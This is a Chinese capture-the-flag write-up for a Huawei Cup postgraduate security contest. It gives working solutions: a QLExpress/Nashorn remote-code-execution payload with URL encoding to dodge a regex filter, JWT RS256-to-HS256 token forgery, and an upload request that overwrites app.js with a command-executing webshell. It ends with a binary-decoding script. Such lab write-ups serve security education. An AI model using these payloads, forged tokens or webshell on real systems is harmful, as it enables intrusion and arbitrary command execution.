“华为杯”第一届中国研究生网络安全创新大赛实网对抗赛初赛

babyql

关键的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@RestController
/* loaded from: BabyQL.jar:BOOT-INF/classes/com/ctf/web/ql/controller/AppController.class */
public class AppController {
@RequestMapping({"/"})
public String index() {
return "Welcome :)";
}
@RequestMapping({"/exp"})
public String exp(@RequestBody Map params) throws Exception {
String x = params.get("x").toString();
if (x.hashCode() != "guanzhujiarandundunjiechan".hashCode() || x.equals("guanzhujiarandundunjiechan")) {
return "guanzhujiarandundunjiechan";
}
String cmd = params.get("cmd").toString();
Pattern pattern = Pattern.compile("process|runtime|javascript|\\+|char|\\\\|from|\\[|\\]|load", 2);
if (pattern.matcher(cmd).find()) {
return "nonono";
}
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<>();
runner.execute(cmd, context, null, true, false);
return "hack me";
}

}

首先是关于hashcode的小知识

满足(x1-x2)*31=(y2-y1)

1
2
3
Content-Type: application/json

{"x":"guanzhujiasBndundunjiechan"}

命令执行

1
runner.execute(cmd, context, null, true, false);

https://github.com/alibaba/QLExpress,官方文档说明可以通过第一个参数执行表达式

但是有默认的黑名单

图片

并且waf,不能通过+字符串拼接绕过

1
2
3
4
Pattern pattern = Pattern.compile("process|runtime|javascript|\\+|char|\\\\|from|\\[|\\]|load", 2);
if (pattern.matcher(cmd).find()) {
return "nonono";
}

字符串过滤可以通过url编码绕过,配合Nashorn —— Java 8 JavaScript 引擎,可以进行命令执行

1
2
3
4
5
6
java.lang.Runtime.getRuntime().exec("calc").getInputStream()
%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29
或者去掉.getInputStream()也可

{"x":"guanzhujiasBndundunjiechan",
"cmd":"import javax.script.ScriptEngineManager;new ScriptEngineManager().getEngineByName(\"nashorn\").eval(java.net.URLDecoder.decode(\"%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29\"));"}

image-20221118111040605

HackThisBOx

给了docker附件

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
var express = require('express');
var path = require('path');
var fs = require("fs");
var createError = require('http-errors');
var { expressjwt } = require("express-jwt");
var multer = require("multer");
var cookieParser = require('cookie-parser');
var logger = require('morgan');

var indexRouter = require('./routes/index');
var apiRouter = require('./routes/api');

var app = express();

// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'twig');

app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use(multer({ dest: '/tmp' }).array("file"));

var publicKey = fs.readFileSync('./config/public.pem'); // jwt解密阶段使用公钥
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/", "/api/login"] }))

app.use(function(req, res, next) { // 这一中间件对get、post,auth的数据进行过滤,过滤了危险字符和关键字
if([req.body, req.query, req.auth, req.headers].some(function(item) {
console.log(req.auth)
return item && /\.\.\/|proc|public|routes|\.js|cron|views/img.test(JSON.stringify(item));
})) {
return res.status(403).send('illegal data.');
} else {
next();
};
});

app.use('/', indexRouter);
app.use('/api', apiRouter);

// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};

// render the error page
res.status(err.status || 500);
res.render('error');
});


var server = app.listen(8000, function () {

var host = server.address().address
var port = server.address().port

console.log("Application instance, the access address is http://%s:%s", host, port)
});

注意如下

1
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/", "/api/login"] }))

使用RSA公钥+HS256算法进行签名验证

而公钥题目给了,所以可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

JWT攻击常用的两种算法 - FreeBuf网络安全行业门户

JWT最常用的两种算法是HMACRSA

HMAC(对称加密算法)用同一个密钥对token进行签名和认证。

而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证。

如果将alg参数改成HS256,这样就将算法RS256修改为HS256,让服务器不使用对称加密,转而使用非对称加密算法

那么,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。

后端代码会使用RSA公钥+HS256算法进行签名验证。进而攻击者将达到目的。

防御措施:JWT配置应该只允许使用HMAC算法或公钥算法,决不能同时使用这两种算法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var express = require('express');
var router = express.Router();
var fs = require("fs");
var jwt = require("jsonwebtoken");
/* GET home page. */
router.get('/', function(req, res, next) {
// res.render('index', { title: 'HackThisBox' });
res.type('html');
var cert = fs.readFileSync('docker/docker/src/config/public.pem');
var token = jwt.sign({ username: 'admin',isAdmin: true,home:"flag" }, cert, { algorithm: 'HS256' });
console.log(req.auth.username);
res.cookie('auth',token);
res.end('where is flag?');
});

module.exports = router;

前后端的身份认证 - JWT 认证机制 - 掘金 (juejin.cn)

伪造token,进行身份绕过

1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaG9tZSI6ImZsYWciLCJpYXQiOjE2NjgzMTM1OTV9._Pg3j_P5y4qit5e9GXQ4dTN2yRFF3MbKrFxW1SGGFf4

题目环境通过nodemon启动,因此我们可以写入覆盖app.js,从而写入一个简单的webshell

image-20221118113240494

但是由于 app.js 里的中间件对请求数据进行了过滤,所以必须绕过。

1
2
3
4
5
6
7
8
9
app.use(function(req, res, next) {
if([req.body, req.query, req.auth, req.headers].some(function(item) {
return item && /\.\.\/|proc|public|routes|\.js|cron|views/img.test(JSON.stringify(item));
})) {
return res.status(403).send('illegal data.');
} else {
next();
};
});

题目在写文件的时候,用的是writeFileSync

1
2
3
4
5
6
7
8
fs.readFile(req.files[0].path, function(err, data) {
if(err) {
return res.status(500).send("error222");
} else {
console.log(data)
fs.writeFileSync(savePath, data);
}
}

而fs.writeFileSync方法支持传入一个url对象,考虑是否可以通过伪造一个url对象来绕过waf的过滤

查看 fs.writeFileSync 源码:

图片

之后的调用和readFileSync的trick差不多,readFileSync浅分析 | Sk1y’s Blog (sk1y233.github.io)

直接到结论:传入的path里面的 pathname 属性 URL 解码后返回最为最终路径

图片

本地生成jwt token,官方wp的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
var express = require('express');
var fs = require("fs");
var jwt = require("jsonwebtoken");
var path = require('path');

var app = express();

var publicKey = fs.readFileSync('./public.pem');

app.get('/', function(req, res, next) {
const token = jwt.sign({ username: "admin", isAdmin: true, home: {
href: "a",
origin: "a",
protocol: "file:",
hostname: "",
pathname: "app%2e%6a%73"
} }, publicKey, { algorithm: "HS256" });
res.send({
token
})
})

var server = app.listen(8000, function () {

var host = server.address().address
var port = server.address().port

console.log("Application instance, the access address is http://%s:%s", host, port)
});

而后上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST /upload HTTP/1.1
Host: host
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaG9tZSI6eyJocmVmIjoiYSIsIm9yaWdpbiI6ImEiLCJwcm90b2NvbCI6ImZpbGU6IiwiaG9zdG5hbWUiOiIiLCJwYXRobmFtZSI6ImFwcCUyZSU2YSU3MyJ9LCJpYXQiOjE2NjQzOTAxMDJ9.xnPaQ0sv8ExJIqmUdprvOK18pqY6uff9CLvHU8zAAwE
Connection: close
Content-Length: 619
Content-Type: multipart/form-data; boundary=e6a70575f2b3431196ed9ea9baa5f630

--e6a70575f2b3431196ed9ea9baa5f630
Content-Disposition: form-data; name="file"; filename="check.js"
Content-Type: text/plain

var express = require('express');
var process = require('child_process')
var app = express();

app.get('/', function(req, res) {
var result = process.execSync(req.query.cmd).toString();
return res.send(result);
});

var server = app.listen(8000, function () {
var host = server.address().address
var port = server.address().port
console.log("Application instance, the access address is http://%s:%s", host, port)
});
--e6a70575f2b3431196ed9ea9baa5f630--

Misc_奇怪的E

image-20221112154615259

密码Cetacean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
str = 'EEEEEEEEEeeEEeeEEEEEEEEEEeeEeeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEEeeeEEEEEEEEEeeeeEeeEEEEEEEEEeEEEEeeEEEEEEEEEeeEEeEeEEEEEEEEEeeeEeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEEEeeEEEEEEEEEEeeEeEEEEEEEEEEEeeEEEEeEEEEEEEEEeeEeeeEEEEEEEEEEeEeeeeeEEEEEEEEEeEEEEeeEEEEEEEEEEeeEEEeEEEEEEEEEeeeEEEEEEEEEEEEEeeEeEEEEEEEEEEEEeeEEeEeEEEEEEEEEeeeEEeEEEEEEEEEEeEeeeeeEEEEEEEEEEeeEEEeEEEEEEEEEeeeEEeeEEEEEEEEEeEeeeeeEEEEEEEEEeeEEEEeEEEEEEEEEeEeeeeeEEEEEEEEEeeEEeeeEEEEEEEEEEeeEEEEEEEEEEEEEeeEeeeeEEEEEEEEEeeEEeEEEEEEEEEEEeEeeeeeEEEEEEEEEeeEEeEeEEEEEEEEEeEEeeeEEEEEEEEEEeeEEEeeEEEEEEEEEEeeEEEEEEEEEEEEEeeEEeEEEEEEEEEEEeeEEeEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEEeEEEEeEEEEEEEEEeeeeeEe'
flag = ''
for i in str:
if i == 'E':
flag += '0'
if i == "e":
flag += '1'
print(flag[0:8])
flag1 = ''
print(len(flag)/8) #84
for i in range(84):
print(i)
str1 = flag[i*8:i*8+8]
x = chr(int(str1,2))
print(x)
flag1 += x
print(ord('f'))
print(chr(51))
print(flag1)

image-20221112160053571

参考链接

  1. 官方WP(一)|“华为杯”第一届中国研究生网络安全创新大赛实网对抗赛初赛 (qq.com)
  2. 官方WP(二)|“华为杯”第一届中国研究生网络安全创新大赛实网对抗赛初赛 (qq.com)
  3. 介绍 Nashorn —— Java 8 JavaScript 引擎 | 耗子的博客 (mouse0w0.github.io)
  4. JWT攻击常用的两种算法 - FreeBuf网络安全行业门户